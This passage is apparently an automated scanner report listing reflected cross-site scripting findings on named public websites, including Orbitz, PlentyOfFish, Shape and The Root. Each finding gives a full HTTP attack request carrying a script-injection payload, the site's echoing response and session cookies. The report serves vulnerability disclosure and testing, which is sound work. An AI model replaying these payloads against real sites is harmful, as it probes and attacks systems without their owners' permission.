NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=D880EA6E561408E7CB3D9A862553C227; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:10:26 GMT Content-Length: 186935
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w ...[SNIP]... <Meta Name="DCSext.ndtab" CONTENT="PRO505c6"style="x:expression(alert(1))"6c0248732b6"/> ...[SNIP]...
The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 929f5"style%3d"x%3aexpression(alert(1))"10bcaca89b2 was submitted in the type parameter. This input was echoed as 929f5"style="x:expression(alert(1))"10bcaca89b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs929f5"style%3d"x%3aexpression(alert(1))"10bcaca89b2 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=84F195AE3CDB76F652543ADC1AC7645F; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:33 GMT Content-Length: 186870
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w ...[SNIP]... <Meta Name="DCSext.ndid" CONTENT="promotions,oa_qs929f5"style="x:expression(alert(1))"10bcaca89b2"/> ...[SNIP]...
4.525. http://www.plentyoffish.com/meetme.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.plentyoffish.com
Path:
/meetme.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b41c1"><script>alert(1)</script>b9320b26f68 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /meetme.aspx?b41c1"><script>alert(1)</script>b9320b26f68=1 HTTP/1.1 Host: www.plentyoffish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmx=9489908.00012890560422417014:1:0-1-1-0; my_ipcountry=1; __utmxx=9489908.00012890560422417014:3738630:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmx_k_210735692=1; __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; ft=Monday, January 31, 2011 5:25:37 PM; __utmc=9489908; __utmb=9489908.5.10.1296523584; ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 01:30:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 4357
<html><head><title>Find Singles with Plentyoffish FREE Online Dating Personals Service</title>
4.526. http://www.plentyoffish.com/needs_test.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.plentyoffish.com
Path:
/needs_test.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71843"><script>alert(1)</script>d3bff3c6b0f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /needs_test.aspx?71843"><script>alert(1)</script>d3bff3c6b0f=1 HTTP/1.1 Host: www.plentyoffish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmx=9489908.00012890560422417014:1:0-1-1-0; my_ipcountry=1; __utmxx=9489908.00012890560422417014:3738630:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmx_k_210735692=1; __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; ft=Monday, January 31, 2011 5:25:37 PM; __utmc=9489908; __utmb=9489908.5.10.1296523584; ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 01:30:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 6131
<META name="description" content="A Free Relationship test that measures your needs in a relationship."> <meta name="KEYW ...[SNIP]... <form action="?SID=enhftrh2rwh40ylxbcdqkhlw&71843"><script>alert(1)</script>d3bff3c6b0f=1" method="post" name="frmLogin" > ...[SNIP]...
4.527. http://www.plentyoffish.com/poftest.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.plentyoffish.com
Path:
/poftest.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3702a"><script>alert(1)</script>f50ea53eb4b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /poftest.aspx?3702a"><script>alert(1)</script>f50ea53eb4b=1 HTTP/1.1 Host: www.plentyoffish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmx=9489908.00012890560422417014:1:0-1-1-0; my_ipcountry=1; __utmxx=9489908.00012890560422417014:3738630:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmx_k_210735692=1; __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; ft=Monday, January 31, 2011 5:25:37 PM; __utmc=9489908; __utmb=9489908.5.10.1296523584; ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 01:30:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 10025
<META name="description" content="A Free Personality test that measures relationship compatibility for singles."> ...[SNIP]... <form action="?SID=enhftrh2rwh40ylxbcdqkhlw&3702a"><script>alert(1)</script>f50ea53eb4b=1" method="post" name="frmLogin" > ...[SNIP]...
4.528. http://www.plentyoffish.com/seriousintro.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.plentyoffish.com
Path:
/seriousintro.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f319"><script>alert(1)</script>df4edccc94a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /seriousintro.aspx?8f319"><script>alert(1)</script>df4edccc94a=1 HTTP/1.1 Host: www.plentyoffish.com Proxy-Connection: keep-alive Referer: http://www.plentyoffish.com/register.aspx Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw; ft=Monday, January 31, 2011 5:25:37 PM; my_ipcountry=1; __utmx=9489908.00012890560422417014:1:0-1-1-0; __utmxx=9489908.00012890560422417014:3738426:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; __utmc=9489908; __utmb=9489908.4.10.1296523584
Response
HTTP/1.1 200 OK Cache-Control: private Date: Tue, 01 Feb 2011 01:30:03 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Vary: Accept-Encoding Content-Length: 10076
<html><title>Plentyoffish.com - Changing The Online Dating Industry</title>
<html><head><title>Plentyoffish.com 100% Free Online Dating Service for singles</title> <META HTTP-EQUIV="Conten ...[SNIP]... <form action="?SID=enhftrh2rwh40ylxbcdqkhlw&8f319"><script>alert(1)</script>df4edccc94a=1" method="post" name="frmLogin" > ...[SNIP]...
4.529. http://www.ratestogo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ratestogo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ed69'-alert(1)-'57cc6386674 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?4ed69'-alert(1)-'57cc6386674=1 HTTP/1.1 Host: www.ratestogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 16:18:54 GMT Server: Microsoft-IIS/6.0 P3P: CP="NOI DEVa TAIa OUR BUS UNI" X-Powered-By: ASP.NET pragma: no-cache cache-control: private Content-Length: 36741 Content-Type: text/html; Charset=windows-1252 Expires: Tue, 01 Feb 2011 16:18:52 GMT Set-Cookie: %7CSearchEng%7C=%7C%7C%7C%7C2011%2D2%2D4%7C2011%2D2%2D5%7C; path=/ Set-Cookie: ASPSESSIONIDCCCQTTTR=MOHDHHOALHAINFEGIBOFLLGC; path=/ Cache-control: no-cache
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12dbe'-alert(1)-'e5f670c0dc0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/xss12dbe'-alert(1)-'e5f670c0dc0/ HTTP/1.1 Host: www.scmagazineus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 35894 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=tqppn045jb4esavsbkl3isfg; path=/; HttpOnly From: Web2-VM Date: Thu, 03 Feb 2011 04:05:34 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7f75c<script>alert(1)</script>f7919591e3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts7f75c<script>alert(1)</script>f7919591e3/articles/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 14:34:59 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1296570899" Last-Modified: Tue, 01 Feb 2011 14:34:59 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107113 (MII-APC/1.6) Connection: close Content-Length: 27263
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts7f75c<script>alert(1)</script>f7919591e3/articles/blood-sugar.html </div> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 99e23<script>alert(1)</script>d36e3d1a30d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articles99e23<script>alert(1)</script>d36e3d1a30d/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 14:35:18 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1296570918" Last-Modified: Tue, 01 Feb 2011 14:35:18 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107113 (MII-APC/1.6) Connection: close Content-Length: 27265
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articles99e23<script>alert(1)</script>d36e3d1a30d/blood-sugar.html </div> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 1a635<script>alert(1)</script>5dadd1e4bd0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articles/blood_sugar.html1a635<script>alert(1)</script>5dadd1e4bd0 HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 14:35:45 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1296570945" Last-Modified: Tue, 01 Feb 2011 14:35:45 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107109 (MII-APC/1.6) Connection: close Content-Length: 27265
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articles/blood-sugar.html1a635<script>alert(1)</script>5dadd1e4bd0 </div> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6d774<script>alert(1)</script>9b61c9a28ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts6d774<script>alert(1)</script>9b61c9a28ac/articles/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 14:35:12 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1296570912" Last-Modified: Tue, 01 Feb 2011 14:35:12 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107113 (MII-APC/1.6) Connection: close Content-Length: 27275
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts6d774<script>alert(1)</script>9b61c9a28ac/articles/workout-schedule.html </div> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload cb792<script>alert(1)</script>6f82f8506a9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articlescb792<script>alert(1)</script>6f82f8506a9/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 14:35:27 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1296570927" Last-Modified: Tue, 01 Feb 2011 14:35:27 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107102 (MII-APC/1.6) Connection: close Content-Length: 27275
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articlescb792<script>alert(1)</script>6f82f8506a9/workout-schedule.html </div> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload c01ef<script>alert(1)</script>abad6a1bc51 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articles/workout_schedule.htmlc01ef<script>alert(1)</script>abad6a1bc51 HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 14:35:44 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1296570944" Last-Modified: Tue, 01 Feb 2011 14:35:44 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107109 (MII-APC/1.6) Connection: close Content-Length: 27275
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articles/workout-schedule.htmlc01ef<script>alert(1)</script>abad6a1bc51 </div> ...[SNIP]...
The value of the account request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21416"><script>alert(1)</script>426ca979e1e was submitted in the account parameter. This input was echoed as 21416\"><script>alert(1)</script>426ca979e1e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/form_support.htm?first_name=&last_name=&email=&account=21416"><script>alert(1)</script>426ca979e1e HTTP/1.1 Host: www.sitesearch.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:05:22 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.3.3 X-Powered-By: PHP/5.3.3 Content-Length: 4526 Connection: close Content-Type: text/html
The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61d89"><script>alert(1)</script>4742146ad85 was submitted in the email parameter. This input was echoed as 61d89\"><script>alert(1)</script>4742146ad85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/form_support.htm?first_name=&last_name=&email=61d89"><script>alert(1)</script>4742146ad85&account= HTTP/1.1 Host: www.sitesearch.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:05:21 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.3.3 X-Powered-By: PHP/5.3.3 Content-Length: 4526 Connection: close Content-Type: text/html
The value of the first_name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72a0e"><script>alert(1)</script>9736852f4d7 was submitted in the first_name parameter. This input was echoed as 72a0e\"><script>alert(1)</script>9736852f4d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/form_support.htm?first_name=72a0e"><script>alert(1)</script>9736852f4d7&last_name=&email=&account= HTTP/1.1 Host: www.sitesearch.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:05:18 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.3.3 X-Powered-By: PHP/5.3.3 Content-Length: 4526 Connection: close Content-Type: text/html
The value of the last_name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 399d0"><script>alert(1)</script>6520bebc9e8 was submitted in the last_name parameter. This input was echoed as 399d0\"><script>alert(1)</script>6520bebc9e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/form_support.htm?first_name=&last_name=399d0"><script>alert(1)</script>6520bebc9e8&email=&account= HTTP/1.1 Host: www.sitesearch.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:05:20 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.3.3 X-Powered-By: PHP/5.3.3 Content-Length: 4526 Connection: close Content-Type: text/html
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c92f"><script>alert(1)</script>bd6fb384a18 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /multimedia6c92f"><script>alert(1)</script>bd6fb384a18/50-years-black-history?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:57 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:57 GMT Date: Wed, 02 Feb 2011 16:17:57 GMT Content-Length: 15118 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/multimedia6c92f"><script>alert(1)</script>bd6fb384a18/50-years-black-history?gt1=38002"/> ...[SNIP]...
